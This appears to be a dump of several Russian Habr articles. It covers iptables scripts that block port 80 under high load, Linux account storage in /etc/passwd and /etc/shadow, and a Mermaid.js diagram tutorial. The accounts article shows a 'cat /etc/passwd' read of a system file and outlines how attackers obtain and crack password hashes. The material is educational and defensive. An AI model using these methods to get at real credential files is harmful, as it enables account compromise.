После некоторых раздумий был найден выход. **При возрастании загрузки выше, некоторого критического уровня, блокировать файрволом атакуемый сервис** (в нашем случае 80-й порт).
Собственно был написан универсальный скрипт который делает задуманное. Вызов скрипта следующий:
`# blockOnHighLoad.sh turnOn80Port 5 turnOff80Port`
Скрипту передаются две команды, и максимальный уровень загрузки системы при котором нам нужно что-либо предпринять. В данном случае при достижении load average значения 5, запускается команда, которая перекрывает файрволом 80-й порт. При возвращении загрузки на нормальный уровень, порт снова открывается.
Собственно говоря, для простых случаев, можно действия описывать прямо при вызове, например, предыдущая команда без использования внешних скриптов:
`blockOnHighLoad.sh "/sbin/iptables -D INPUT -p tcp -m tcp --dport 80 -j DROP" 5 "/sbin/iptables -A INPUT -p tcp -m tcp --dport 80 -j DROP"`
Т.е. мы напрямую блокируем/разблокируем порт с помощью iptables.
В более сложных случаях, например, когда атака идет на несколько сервисов сразу, или нужно выполнить сразу несколько шагов, можно использовать внешние команды.
Так наряду с блокировкой единственного порта, полезно бывает полностью «закрыть» машину, оставив только порт для подключения по SSH. Такое действие целесообразно проводить при «уходе» загрузки в «космос». Вот вторая полезная команда:
`blockOnHighLoad.sh "" 50 "blockAllExcept.sh 22"`
Тут по достижении значения load average в 50 единиц, мы закрываем все что можно, за исключением SSH (22-й порт). Открытие порта производится в данном случае в ручном режиме.
Теперь осталось это все хозяйство вставить в автозагрузку системы. Плюс нужно запустить выключенный httpd. Для этого мы дописали следующие команды в скрипт инициализации /etc/rc.local:
```
blockOnHighLoad.sh "/sbin/iptables -D INPUT -p tcp -m tcp --dport 80 -j DROP" 5 "/sbin/iptables -A INPUT -p tcp -m tcp --dport 80 -j DROP" >> /var/log/blockOnHighLoad-5-80.logs 2>&1 &
blockOnHighLoad.sh "" 50 "blockAllExcept.sh 22" >> /dev/null &
service httpd start
```
Почему не оставить нормальный запуск httpd через системный старт сервисов? Потому что он запустится перед автоблокировщиком, и при «хорошей» атаке сразу положит систему и скрипт инициализации может не выполнится.
Отмечу, что скрипт печатает небольшой диагностический лог. Выводятся сообщения, когда происходит переключение «режима» работы и печатается текущая загрузка и режим. В
примере выше, этот лог сохраняется в файл /var/log/blockOnHighLoad-5-80.logs. Так что можно посмотреть историю.
#### Что дальше?
После того как мы получили доступ к машине, мы провели анализ атаки, написали скрипт который автоматически банит ботов. Тут стоит отметить, что **при количестве блокируемых IP более нескольких сотен, вариант с iptables, не проходит**. Потому как iptables крайне не эффективно работает с большими списками. **iptables нужно использовать в связке с ipset**, который как раз заточен на хранение и поддержку больших списков IP для iptables. Почитать про детали можно [в этой статье](http://centos.alt.ru/?p=402).
Надеемся что наш опыт поможет в борьбе с атаками.
Спасибо за внимание.
Собственно скрипты:
**blockOnHighLoad.sh**
```
#!/bin/bash
state=normal
i=0
while [ 1 ]; do
up=`uptime`
loadavg=`echo $up | sed 's/.*average: //' | sed 's/,.\+//' | sed 's/\..\+//'`
i=$(($i+1))
if (( $i > 60 )); then
echo
echo -n `date` " "
i=0
fi
if (( $loadavg > $2 ));then
if [ "$state" == "normal" ];then
state=high
echo
echo `date` HIGH $3
$3
else
echo -n ${loadavg}H
fi
else
if [ "$state" == "high" ];then
state=normal
echo
echo `date` Normal $1
$1
else
echo -n ${loadavg}.
fi
fi
sleep 1
done
```
**blockAllExcept.sh** (Скрипт взят [отсюда](http://www.noah.org/wiki/Iptables))
```
#!/bin/sh
# Minimal emergency firewall (block everything except SSH).
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -F
iptables -X
iptables -A INPUT -p tcp -m tcp --dport $1 -j ACCEPT
iptables -P INPUT DROP
iptables -A OUTPUT -p tcp -m tcp --sport $1 -j ACCEPT
iptables -P OUTPUT DROP
``` | https://habr.com/ru/post/128526/ | null | ru | null |
# Управление учетными записями в Linux. Часть 1. Хранение учетных данных
#### Файлы и их хозяева
Файлы в операционках семейства Linux можно назвать основой всего. Для Linux все есть файл. Другими словами, файлы это не только объекты для хранения информации, но и устройства, тоннели, сокеты и многое другое. При этом, нам необходимы разграничивать доступ к тем или иным файлам в зависимости от прав пользователя, обращающегося к файлу.
У каждого файла в Linux системах есть владелец (user). И как мы уже говорили, у каждого пользователя есть уникальный идентификатор – user ID. Еще есть группы, то есть объединения пользователей по тому или иному признаку. Каждый пользователь должен состоять минимум в одной группе, но есть возможность добавить пользователя во множество групп. Так же, как и у пользователя, группа имеет уникальный идентификатор группы называемый GID – group ID.
#### Где хранятся учетки
Информацию об учетных записях ОС Linux хранит в файле `/etc /passwd`.
Он содержит следующее:
Где:
**User ID** - логин;
**Password** – наличие пароля;
**UID** - идентификатор пользователя;
**GID** - идентификатор группы по умолчанию;
**User Info** – вспомогательная информация о пользователе (полное имя, контакты и т.д.)
**Home Dir** - начальный (он же домашний) каталог;
**Shell** - регистрационная оболочка, или shell.
Когда-то, на заре становления Линукс, в файле `/etc/passwd` хранились также хэши паролей от учетных записей пользователей. Но тогда эти данные становились легкой добычей злоумышленников, так как любой пользователь мог прочитать этот файл и скопировать хэши для последующей расшифровки.
В качестве проверки можно под учеткой обычного пользователя (не root) ввести `cat /etc/passwd` и вы получите содержимое файла.
Для хранения хэшей паролей в современных Линукс используется файл `/etc/shadow`.
И вот к содержимому этого файла обычные пользователи уже доступа не имеют. Таким образом, обеспечивается защита хэшей от пользовательского доступа.
Файл `/etc/shadow` имеет следующую структуру:
*loginID:password:lastchg:min:max:warn:inactive:expire*
где:
**loginID** – имя пользователя;
**password** – пароль в зашифрованном виде;
**lastchg** – количество дней c 1.01.1970, когда пароль был изменен в последний раз;
**min** – минимальное число дней между сменами пароля;
**max** – максимальное число дней, в течении которых пароль будет валиден;
**warn** – количество дней за которые пользователь будет предупрежден об истечении пароля;
**inactive** – количество дней, в течении которых пользователь может быть неактивен перед блокировкой;
**expire** – дата, когда истекает срок пользовательской учетной записи.
Отсутствие доступа к `/etc/shadow` для обычных пользователей конечно усложняет жизнь потенциальным взломщикам, но не исключает полностью возможность получить доступ к хэшам. При наличии физического доступа злоумышленник может загрузиться с флешки и подмонтировав раздел скопировать нужный файл к себе. Аналогично в случае использования виртуализации можно скопировать выключенную виртуалку к себе и затем, также загрузиться со сменного носителя.
В случае, если хакер получил права обычного пользователя, например www, он может попытаться повысить привилегии для того, чтобы прочитать файл. Также, если пользователь может загружать любые docker-контейнеры, то при определенных условиях он может получить права на чтение /etc/shadow. Об этом мы подробно поговорим в третьей статье.
#### Быстрый перебор
Не углубляясь в тему взлома (все-таки эта статья больше про администрирование Linux) кратко опишем дальнейшие действия злоумышленника после получения доступа к хэшам паролей.
Перебор паролей даже на достаточно мощной машине процесс довольно продолжительный. И для того, чтобы его максимально ускорить существуют наборы сгенерированных заранее хэшей паролей, например все комбинации из цифр длиной до 10 символов, маленьких латинских букв до 10 символов и т.д. Более сложные комбинации тоже можно получить готовыми, но это уже будет стоить денег. Тем не менее взломщик может сэкономить много времени используя готовые хэши.
#### И еще немного… соли
Для решения проблемы использования готовых хэшей разработчики ОС Linux стали использовать соль (salt), то есть набор из нескольких дополнительных байт, который добавлялись к паролю перед хэшированием.
Обычно формат пароля, хранимого в /etc/shadow представляет собой:
$id $salt $hashed, где $id - алгоритм, которым шифруется пароль ($1 is MD5, $2a is Blowfish, $2y is Blowfish, $5 is SHA-256, $6 is SHA-512).
Таким образом, использование соли для шифрования паролей осложняет перебор, так как не позволяет использовать готовые таблицы.
#### Заключение
В этой статье мы рассмотрели механизмы работы с учетными записями в ОС семейства Linux, в частности механизм обеспечения безопасности при хранении хэшей паролей. В следующей статье мы начнем говорить о настройках доступа и тех ошибках могут допустить администраторы при выполнении этих настроек.
Вместо заключения хочу пригласить вас на бесплатные демоуроки по Linux от OTUS. Зарегистрироваться на уроки можно по ссылкам ниже:
* [Базовые понятия Linux, работа в консоли с базовыми командами. Что нужно знать когда переходишь с Windows на Linux.](https://otus.pw/35Bu/)
* [Bash повышенной сложности: массивы, ключи, отладка.](https://otus.pw/wW3i/) | https://habr.com/ru/post/689416/ | null | ru | null |
# Рисуем диаграммы Mermaid.js в README-файлах GitHub
14 февраля 2022 года GitHub [объявила](https://habr.com/ru/news/t/651569/) о старте нативной поддержки диаграмм Mermaid.js в README-файлах GitHub. Нововведение помогло быстрее и эффективнее оформлять блок-схемы и графики для документации. До этого диаграммы вставлялись в виде изображений и если содержимое менялось, то надо было сначала нарисовать новое изображение, а потом вставлять его. Сейчас же можно просто исправить несколько строк в коде и система сгенерирует новый график.
Помимо GitHub, Mermaid.js нативно интегрирована в GitLab, Gitea, Joplin и Notion. Также есть и плагины для множества других сервисов. Для редакторов кода есть дополнения, которые помогают рендерить диаграммы. С полным списком поддерживаемых инструментов и сервисов можно ознакомиться в [GitHub-профиле](https://github.com/mermaid-js/mermaid/blob/develop/docs/integrations.md) проекта.
В этой статье рассмотрим все основные диаграммы, имеющиеся в Mermaid и познакомимся со способами организации блок-схем в README-файлах.
Содержание:
1. [Блок-схема](#flowchart);
2. [Круговые диаграммы](#pie);
3. [Диаграммы пользовательского пути](#journey);
4. [Диаграмма Ганта](#gantt);
5. [UML-диаграмма](#uml);
6. [Диаграмма состояния](#stateDiagram);
7. [ER-модель](#er);
8. [Диаграммы последовательности](#sequenceDiagram).
Блок-схема
----------
Блок-схемы — распространенный графический способ представления информации. Часто используется для визуализации работы алгоритмов. Блок-схемы обычно состоят из узлов в виде геометрических фигур и стрелок, соединяющих узлы. Mermaid позволяет создавать динамические блок-схемы.
Блок-схема создается с помощью ключевого слова `flowchart` и аббревиатуры для указания направления. Имя узла указывается уже на следующей строчке. При этом важно, что нельзя создать узел с именем «end», если очень хочется, то лучше использовать «End» или «END».
```
flowchart TB
node
```
Направление блок-схемы, как уже было отмечено, задается с помощью ключевой аббревиатуры. Всего пользователю доступно 5 аббревиатур:
* TB — «top to bottom», сверху вниз;
* TD — «top-down/ same as top to bottom», сверху вниз;
* BT — «bottom to top», снизу вверх;
* RL — «right to left», справа налево;
* LR — «left to right», слева направо.
В узел можно поместить любой текст, для этого после имени надо указать текст в квадратных скобках.
```
flowchart TB
node[Текст в узле]
```
Сами узлы могут быть не только прямоугольными. Форма узла задается символами вокруг текста и доступны следующие геометрические фигуры:
```
flowchart TB
node1[Форма 1]
node2(Форма 2)
node3([Форма 3])
node4[[Форма 4]]
node5[(Форма 5)]
node6((Форма 6))
node7>Форма 7]
node8{Форма 8}
node9{{Форма 9}}
node10[/Форма 10/]
node11[\Форма 11\]
node12[/Форма 12\]
node13[\Форма 13/]
```
Иногда в самом тексте надо разместить специальные символы, которые в процессе рендеринга могут сломать всю конструкцию. Для этих целей доступно экранирование в виде кавычек. Все содержимое в кавычках по умолчанию принимается за текст.
```
flowchart LR
id1["Это текст (а вот это могло сломать рендеринг), но у нас есть экранирование"]
```
Узлы в блок-схеме соединяются с помощью стрелок и линий. В коде они указываются следующим образом:
```
flowchart TB
А --> B
C --- D
E -.-> F
G ==> H
I --o J
K --x L
```
Так же как и в обычной блок-схеме, в Mermaid можно указывать вопрос или размещать текст на стрелках и связях узлов. Для этого достаточно ввести необходимый текст в конструкцию стрелки:
```
flowchart TD
A-- Text ---B
C---|Text|D
E-->|text|F
G-- text -->H
I-. text .-> J
K == text ==> L
```
Система рендеринга автоматически подбирает длину стрелок и соединений, но если надо явно задать большую длину, то можно указать большее количество дефисов.
Зачастую на одной блок-схеме необходимо показать взаимосвязанную работу двух алгоритмов. Для этих целей подойдут подсхемы, позволяющие визуально разделять несколько сущностей на одном рисунке. Задаются они следующей конструкцией:
```
subgraph название
описание графа
end
```
Пример:
```
flowchart TB
c1-->a2
subgraph one
a1-->a2
end
subgraph two
b1-->b2
end
subgraph three
c1-->c2
end
```
Узел можно сделать кнопкой, открывающей страницу в браузере. Для этого надо указать ссылку в описании узла. Ссылку необходимо экранировать кавычками:
```
flowchart TB
%% создаем узел
A --> B
%% Кстати да, комментарии задаются двумя знаками процента
%% Описываем действия для клика по узлу
click A "http://www.github.com"
```
После этого узел A станет кликабельным и по клику будет открываться страница, находящаяся по ссылке. Но проблема в том, что ссылка будет открываться в активной вкладке, что может быть неудобно. Проблему можно решить и указать в конце ссылке ключевое слово `_blank`.
```
flowchart TB
A --> B
click A "http://www.github.com" _blank
```
Узлам можно задавать альтернативные цвета. При этом для каждого отдельно взятого узла можно задать свой цвет. Для этого после описания блок-схемы необходимо написать ключевое слово `style`, после указать имя узла, а потом описать цветовую схему. Цветовая схема задается с помощью следующих тегов:
* fill — заливка;
* stroke — цвет границы;
* stroke-width — толщина границы;
* color — цвет текста;
* stroke-dasharray — пунктирная граница.
```
flowchart LR
id1(Start)-->id2(Stop)
style id1 fill:#3f3,stroke:#333,stroke-width:4px
style id2 fill:#ff2400,stroke:#333,stroke-width:4px,color:#fff,stroke-dasharray: 12 5
```
Если блок-схема большая, то может быть неудобно для каждого элемента расписывать его свойства. Для этого есть возможность создавать классы стилей и применять их. Класс объявляется с помощью ключевого слова `classDef`, далее следует название класса и теги через запятую. Применять стиль можно с помощью трех двоеточий после имени узла (`:::`).
```
flowchart LR
classDef class1 fill:#3f3,stroke:#333,stroke-width:4px
classDef class2 fill:#ff2400,stroke:#333,stroke-width:4px,color:#fff,stroke-dasharray: 12 5
A:::class1 --> B:::class2
```
Если применить все полученные знания, то можно построить вот такую несложную блок-схему.
```
flowchart TD
classDef class1 fill:#7FFFD4, stroke:#000, stroke-width:4px
A([Нам нужна диаграмма]):::class1
B{Диаграмма динамическая?}:::class1
A--->B
B--Да-->C([Лучше воспользоваться Mermaid.js]):::class1
B--Нет-->D([Можно просто нарисовать и вставить с помощью Markdown]):::class1
```
Круговые диаграммы
------------------
Круговая диаграмма — популярный и простой способ показать какую часть от общего числа занимает отдельные части. В Mermaid круговые диаграммы задаются с помощью ключевого слова `pie`, далее следует слово `title`, позволяющее задать название диаграммы и строка с самим названием. Но titlte можно опустить и не использовать, тогда диаграмма будет безымянной.
Данные в диаграмму записываются построчно следующим образом:
* название в кавычках;
* разделитель в виде двоеточия;
* положительное числовое значение (поддерживается до двух знаков после запятой).
```
pie title Продажи легких закусок за декабрь 2021
"Сендвичи" : 223
"Салаты" : 50
"Канапе" : 100
```
Диаграммы пользовательского пути
--------------------------------
С помощью диаграммы пользовательского пути можно продемонстрировать процесс того, как каждый тип пользователя пользуется мобильным или веб приложением. Для создания подобных схем в Mermaid есть ключевое слово `journey`, `title` также отвечает за название всей диаграммы. С помощью `section` можно задавать разделы. В каждом разделе указываются конкретные шаги с оценкой по десятибалльной шкале и закрепленным за действием лицом. Все эти данные следует вводить через разделитель в виде двоеточия.
```
journey
title Процесс написания статьи
section Поиск / изучение
Поиск информации: 5: Я
Структурирование: 5: Я
section Пишем
Пишем черновик: 5: Я
Готовим картинки: 4: Я
section Редактируем
Проверяем: 3: Я
Финальные правки: 2: Я
section Публикация
Публикуем: 5: Я
Радуемся: 8: Я, Мой кот
```
Диаграмма Ганта
---------------
Диаграмма Ганта часто применяется в приложениях для планирования и отображает процесс работы над проектом. Обычно такая диаграмма состоит из двух основных частей — временной шкалы и задач. Подобные виды отслеживания задач довольно популярны и первую версию придумали аж в 1910 году, поэтому за более чем сотню лет появились альтернативные и расширенные виды. Но у всех вариантов всегда одна и таже задача.
В Mermaid диаграммы Ганта состоят из двух частей — на оси X находится шкала времени, а на оси Y задачи и порядок их выполнения. Такой вид диаграммы задается ключевым словом `gantt`, в `title` вписывается название. Далее следует указать формат даты, который система будет принимать для рендеринга итоговой диаграммы (`dateFormat`). Разделы по оси Y задаются с помощью ключевого слова `section` и названия раздела. А далее следует указывать сами задачи, которые состоят из короткого текста задачи, имени, даты начала и продолжительности. При этом текст задачи располагается с левой части, а остальные параметры с правой и разделяются запятой. Через ключевое слово after можно явно указать последовательность задач в рамках раздела, если этого не сделать, то система сама расположит их по порядку.
```
gantt
title Диаграмма Ганта
dateFormat YYYY-MM-DD
section Секция 1
Задача 1 :a1, 2014-01-01, 15d
Задача 2 :20d
section Секция 2
Задача 1 :2014-01-12 , 12d
Задача 2 : 24d
```
Для каждой задачи существуют несколько параметров, которые указывают на ее состояние:
* `crit` — особенно важные задачи;
* `active` — задачи в работе;
* `done` — выполненные задачи;
* `milestone` — вехи (единичные важные события).
```
gantt
title Диаграмма Ганта
dateFormat YYYY-MM-DD
section Секция 1
Milestone :milestone, a1, 2014-01-01, 15d
Crit :crit, a2, 2014-01-01, 15d
Active :active, a3, 2014-01-01, 15d
Done :done, a4, 2014-01-01, 15d
```
UML-диаграммы
-------------
UML-диаграммы обычно используются для схематичного отображения классов и их связей в коде. Mermaid позволяет создавать диаграммы классов с помощью ключевого слова `classDiagram`. Каждый экземпляр класса содержит в себе три составляющие:
* в верхней части располагается название класса и необязательное описание;
* в центральной части находятся атрибуты класса, которые указываются со строчной буквы и выравниваются по левому краю;
* в нижней части размещены методы класса.
Есть два способа задать поля класса. Результаты рендеринга одинаковые, но второй способ занимает меньше места и требует меньше кода:
```
classDiagram
class BankAccount
BankAccount : +String owner
BankAccount : +Bigdecimal balance
BankAccount : +deposit(amount)
BankAccount : +withdrawl(amount)
Или
classDiagram
class BankAccount{
+String owner
+BigDecimal balance
+deposit(amount)
+withdrawl(amount)
}
```
Модификаторы доступа полей класса условно задаются с помощью символов перед самим полем:
* + — public;
* - — private;
* # — protected;
* ~ — package.
Отношения между классами задаются с помощью различных видов стрелок, общая модель выглядит следующим образом:
```
[класс][стрелка][класс]
```
| | |
| --- | --- |
| **Тип** | **Описание** |
| <|-- | Наследование |
| \*-- | Композиция |
| o-- | Агрегация |
| --> | Ассоциация |
| -- | Ссылка (сплошная) |
| ..> | Зависимость |
| ..|> | Реализация |
| .. | Ссылка (пунктирная) |
```
classDiagram
classA <|-- classB
classC *-- classD
classE o-- classF
classG <-- classH
classI -- classJ
classK <.. classL
classM <|.. classN
classO .. classP
```
При желании можно явно указать вид связи в виде текста:
```
classE --o classF : Агрегация
```
Двусторонние отношения задаются с помощью дублированной стрелки, направленной в обе стороны:
```
classDiagram
Animal <|--|> Zebra
```
Всего двусторонние отношения возможны для следующих видов взаимоотношений:
| | |
| --- | --- |
| **Тип** | **Описание** |
| <| | Наследование |
| \* | Композиция |
| o | Агрегация |
| > | Ассоциация |
| < | Ассоциация |
| |> | Реализация |
Всего поддерживаются следующие типы множественного наследования:
* 1 — только один;
* 0..1 — ноль или один;
* 1..\* — один или больше;
* \* — много;
* n — n-ое количество;
* 0..n — от нуля до n;
* 1..n — от единицы до n.
Задается множественное наследование следующим образом:
```
classDiagram
Customer "1" --> "*" Ticket
Student "1" --> "1..*" Course
Galaxy --> "many" Star : Contains
```
Классы можно аннотировать с помощью специальных маркеров, содержимое которых отображается в блоке с названием. Возможны 4 вида аннотаций:
* <> — интерфейсы;
* <> — абстрактный класс;
* <> — классы-сервисы;
* <> — перечисления с областью видимости.
Задать можно также двумя разными способами, которые не влияют на результаты рендеринга:
```
classDiagram
class Shape
<> Shape
Shape : noOfVertices
Shape : draw()
Или
class ShapeCopy {
<>
noOfVertices
draw()
}
```
UML-диаграммам так же как и блок-схемам можно задавать направление. Оператор направления следует указывать после ключевого слова `direction`.
```
classDiagram
direction LR
class Student {
-idCard : IdCard
}
class IdCard{
-id : int
-name : string
}
Student "1" --o "1" IdCard : carries
```
Класс UML-схемы может содержать в себе ссылку и быть кликабельным. Задается все таким же образом, как и в блок-схемах:
```
classDiagram
direction LR
class Student {
-idCard : IdCard
}
link Student "http://www.github.com"
```
Диаграмма состояния
-------------------
Диаграммы состояний используются для описания поведения различных систем. По внешнему виду чем-то напоминают блок-схемы. Диаграммы состояний требуют наличия конечно количества состояний.
Mermaid умеет рендерить подобные диаграммы, а синтаксис максимально приближен к PlantUML, что должно упростить миграцию и обмен кодом. Задается диаграмма с помощью ключевого слова `stateDiagram` или `stateDiagram-v2`. Лучше использовать вторую версию рендеринга.
```
stateDiagram-v2
[*] --> Still
Still --> [*]
Still --> Moving
Moving --> Still
Moving --> Crash
Crash --> [*]
```
В представленной диаграмме описано три состояния — «Still» (Покой), «Moving» (Движение) и «Crash» (Столкновение). Из состояния покоя можно перейти в состояние движения и обратно, но нельзя перейти в состояние столкновения. А вот из состояния движения можно перейти в состояние столкновения.
Состояния задаются следующим образом:
```
stateDiagram-v2
s1
```
Для описания состояния есть два пути:
```
stateDiagram-v2
state "This is a state description" as s2
s2 : This is a state description
```
Переход от одного состояния к другому задается стрелками:
```
stateDiagram-v2
s1 --> s2
```
Текст перехода задается так:
```
stateDiagram-v2
s1 --> s2: A transition
```
Начало и конец диаграммы обозначается с помощью символа звездочки, а далее следует стрелка направления перехода:
```
stateDiagram-v2
[*] --> s1
s1 --> [*]
```
Состояния можно объединять в подсостояния и группировать между собой. Главное состояние обозначается ключевым словом `state`, за ним следует идентификатор, а потом фигурные скобки, в которых содержится тело подсостояния.
```
stateDiagram-v2
[*] --> First
state First {
[*] --> second
second --> [*]
}
```
Поддерживается и вложенность в несколько уровней:
```
stateDiagram-v2
[*] --> First
state First {
[*] --> Second
state Second {
[*] --> second
second --> Third
state Third {
[*] --> third
third --> [*]
}
}
}
```
Можно оформлять переходы между несколькими подсостояниями:
```
stateDiagram-v2
[*] --> First
First --> Second
First --> Third
state First {
[*] --> fir
fir --> [*]
}
state Second {
[*] --> sec
sec --> [*]
}
state Third {
[*] --> thi
thi --> [*]
}
```
Выбор состояния может зависеть от определенного условия. Для организации выбора используется ключевое слово `choice`:
```
stateDiagram-v2
state if_state <>
[\*] --> IsPositive
IsPositive --> if\_state
if\_state --> False: if n < 0
if\_state --> True : if n >= 0
```
Несколько состояния могут сливаться в одно общее. Для этого состояния, которые сливаются, отмечают ключевым словом `fork`, а состояние в которое происходит слияние, отмечают словом `join`.
```
stateDiagram-v2
state fork_state <>
[\*] --> fork\_state
fork\_state --> State2
fork\_state --> State3
state join\_state <>
State2 --> join\_state
State3 --> join\_state
join\_state --> State4
State4 --> [\*]
```
К состояниям можно добавлять поясняющие заметки. Для этого существует ключевое слово `note`, после важно указать сторону с помощью `right of` или `left of`. Доступно два варианта записи в коде — один более подробный, другой компактнее:
```
stateDiagram-v2
State1: The state with a note
note right of State1
Important information! You can write
notes.
end note
State1 --> State2
note left of State2 : This is the note to the left.
```
Направление диаграммы указывается после ключевого слова `directions`. Список доступных аббревиатур рассматривался в разделе блок-схем.
ER-модель
---------
ER-модель — модель данных, описывающая взаимосвязанные вещи, представляющие интерес в определенной области знаний. Зачастую используется при высокоуровневом проектировании баз данных. Задается с помощью ключевого слова `erDiagram`.
```
erDiagram
CUSTOMER ||--o{ ORDER : places
ORDER ||--|{ LINE-ITEM : contains
CUSTOMER }|..|{ DELIVERY-ADDRESS : uses
```
Mermaid не требует указывать имена сущностей с заглавной буквы, а связи обозначаются популярной нотацией «гусиные лапки».
Отношения задаются с помощью следующей базовой конструкцией:
```
[ : ]
```
* first-entity — имя сущности;
* relationship — описания способа связи;
* second-entity — имя другой сущности;
* relationship-label — описание отношения с точки зрения первой сущности.
К примеру:
```
PROPERTY ||--|{ ROOM : contains
```
| | | |
| --- | --- | --- |
| **Значение слева** | **Значение справа** | **Значение** |
| |o | o| | Минимум ноль, максимум ноль |
| || | || | Минимум один, максимум один |
| }o | o{ | Минимум ноль, максимум много |
| }| | |{ | Минимум один, максимум много |
Атрибуты сущностей обозначаются после имени самой сущности. Также существует два вида записи.
```
erDiagram
CAR ||--o{ NAMED-DRIVER : allows
CAR {
string registrationNumber
string make
string model
}
PERSON ||--o{ NAMED-DRIVER : is
PERSON {
string firstName
string lastName
int age
}
```
Атрибуты могут иметь ключи или комментарии. Первичные ключи (Primary Key) обозначаются как `PR`, а внешние ключи (Foreign Key) `FK`. Комментарий же определяется двойными кавычками в конце атрибута. При этом комментарий не может содержать в себе двойные кавычки.
```
erDiagram
CAR ||--o{ NAMED-DRIVER : allows
CAR {
string allowedDriver FK "The license of the allowed driver"
string registrationNumber
string make
string model
}
PERSON ||--o{ NAMED-DRIVER : is
PERSON {
string driversLicense PK "The license #"
string firstName
string lastName
int age
}
```
Диаграммы последовательности
----------------------------
На диаграммах последовательности отображается жизненный цикл одного объекта или нескольких, а также их взаимодействие. Диаграммы последовательности состоят из актеров в виде прямоугольников и взаимодействий в виде вертикальных «линий жизни».
В Mermaid диаграммы последовательности задаются с помощью ключевого слова `sequenceDiagram`:
```
sequenceDiagram
Alice->>John: Hello John, how are you?
John-->>Alice: Great!
Alice-)John: See you later!
```
Актеров можно объявлять неявно сразу во время указания отношений, а можно сначала объявить всех участников с помощью ключевого слова `participant`, а потом отмечать отношения.
```
sequenceDiagram
participant Ваня
participant Петя
Ваня->>Петя: Привет, Петя
Петя->>Ваня: Привет, Ваня
```
Если есть необходимость или непреодолимое желание использовать изображения стикменов вместо обезличенных прямоугольников, то для этого `participant` надо заменить на `actor`.
```
sequenceDiagram
actor Ваня
actor Петя
Ваня->>Петя: Привет, Петя
Петя->>Ваня: Привет, Ваня
```
Каждый раз писать имя актера может быть не удобно и долго, особенно если схема состоит из десятка разных актеров. Для этих целей в Mermaid есть псевдонимы. Имя актера можно сократить до нескольких букв или буквенных идентификаторов.
```
sequenceDiagram
participant V as Ваня
participant P as Петя
V->>P: Привет, Петя
P->>V: Привет, Ваня
```
Связи и сообщения могут отображаться в виде сплошных или пунктирных линий. Общий вид выглядит следующим образом:
```
[Актер][Стрелка][Актер]:Текст сообщения
```
| | |
| --- | --- |
| **Тип** | **Описание** |
| -> | Сплошная линия без стрелки |
| --> | Пунктирная линия без стрелки |
| ->> | Сплошная линия со стрелкой |
| -->> | Пунктирная линия со стрелкой |
| -x | Сплошная линия с крестиком на конце |
| --x | Пунктирная линия с крестиком на конце |
| -) | Сплошная линия с открытой стрелки |
| --) | Пунктирная линия с открытой стелки |
Актера явно можно активировать и деактивировать, отмечая область его действия. Осуществляется это с помощью ключевых слов `activate` и `deactivate`. Активации можно накладывать друг на друга.
```
sequenceDiagram
participant V as Ваня
participant P as Петя
V-)P: Привет, Петя
activate P
P->>V: Привет, Ваня
deactivate P
```
Доступна и сокращенная запись в виде знаков «+/-» на конце стрелок, результат рендеринга будет идентичен:
```
sequenceDiagram
participant V as Ваня
participant P as Петя
V-)+P: Привет, Петя
P->>-V: Привет, Ваня
```
Диаграммы последовательности можно снабжать заметками с помощью общего вида записи:
```
Note [ right of | left of | over ] [Актер]: Текст заметки
```
Если ключевые слова `right of` и `left of` уже встречались нам, то слово `over` новое. Оно позволяет размещать заметку сразу на нескольких актерах.
```
sequenceDiagram
participant V as Ваня
participant P as Петя
V-)+P: Привет, Петя
P->>-V: Привет, Ваня
Note over V,P: Заметка
```
Часто одно и то же действие происходит в цикле и активируется с определенным интервалом. В Mermaid циклы задаются с помощью ключевого слова `loop`:
```
loop Текст цикла
... действие ...
end
```
К примеру:
```
sequenceDiagram
participant V as Ваня
participant P as Петя
V-)P: Привет, Петя
loop Каждое утро
P->>V: Привет, Ваня
end
```
Альтернативные сценарии и условия обозначаются следующей конструкцией:
```
alt Описание
... действие ...
else
... действие ...
end
```
Необязательные опциональные сценарии задаются без `else`:
```
opt Описание
... действие ...
end
```
Пример:
```
sequenceDiagram
participant V as Ваня
participant P as Петя
V->>P: Петя, как дела?
alt Если хорошо
P->>V: Все отлично!
else
P->>V: Все плохо :с
end
opt Если все сильно раздражает
P->>V: Отвали, Ваня!
end
```
Можно указать параллельные действия. Для этого есть ключевое слово `par`:
```
par [Действие 1]
... описание ...
and [Действие 2]
... описание ...
and [Действие N]
... описание ...
end
```
К примеру так:
```
sequenceDiagram
participant V as Ваня
participant P as Петя
participant I as Ирина
par Ваня и Петя
V->>P: Привет, Петя
and Ваня и Ирина
V->>I: Привет, Ирина
end
```
Фону можно добавлять кастомизированные цвета с помощью RGB и RGBA кодов:
```
rect rgb(0, 255, 0)
... содержимое ...
end
rect rgba(0, 0, 255, .1)
... содержимое ...
end
```
К примеру:
```
sequenceDiagram
participant V as Ваня
participant P as Петя
participant I as Ирина
rect rgb(191, 223, 255)
par Ваня и Петя
V->>P: Привет, Петя
and Ваня и Ирина
V->>I: Привет, Ирина
end
end
```
Действия на диаграмме можно автоматически пронумеровать с помощью ключевого слова `autonumber` в начале кода:
```
sequenceDiagram
participant V as Ваня
participant P as Петя
participant I as Ирина
autonumber
par Ваня и Петя
V->>P: Привет, Петя
and Ваня и Ирина
V->>I: Привет, Ирина
end
loop Каждые полчаса
V->>I: Сколько времени?
end
```
Интеграция с GitHub
-------------------
Последнее обновление добавило нативную поддержку диаграмм Mermaid в GitHub и теперь можно включать схемы и графики в README-файлы. Для этого в md-файле необходимо обозначить блок кода, отметить его тегом `mermaid` и вставить в него необходимый код. Все остальное сделаеть браузер.
```
```mermaid
... код диаграммы ...
```
```
Помимо этого, у проекта [есть](https://mermaid-js.github.io/mermaid-live-editor/edit/#pako:eNpNj80KwjAQhF9luzehfYEcKoKieO01lyXZ2kB-NE2QUvrupq2CexqGb4adGVXQjAJHfmX2is-GHpGc9FDuZI3ipm3vYfACbmxtgFXXMIQ3UGSYQj7u7Oo3hd0yAq6RKVX_NYe9peMtBZYSxwprdBwdGV1-mFdcYhrYsURRpOaesk0SpV8Kmp-6pC7apBBR9GRHrpFyCt3kFYoUM_-g747dXD76lkyo) онлайн-редактор кода с моментальным выводом диаграмм. Из него схемы можно импортировать в PNG и SVG. Для популярных IDE и редакторов кода реализованы либо нативная поддержка, либо сторонние плагины. | https://habr.com/ru/post/652867/ | null | ru | null |
# Поймут даже дети: простое объяснение async/await и промисов в JavaScript
Привет, Хабр! Представляю вашему вниманию перевод статьи [«JavaScript Async/Await and Promises: Explained like you’re five years old»](https://medium.com/javascript-in-plain-english/javascript-async-await-and-promises-explained-like-youre-five-years-old-61733751e9a5) автора Jack Pordi.
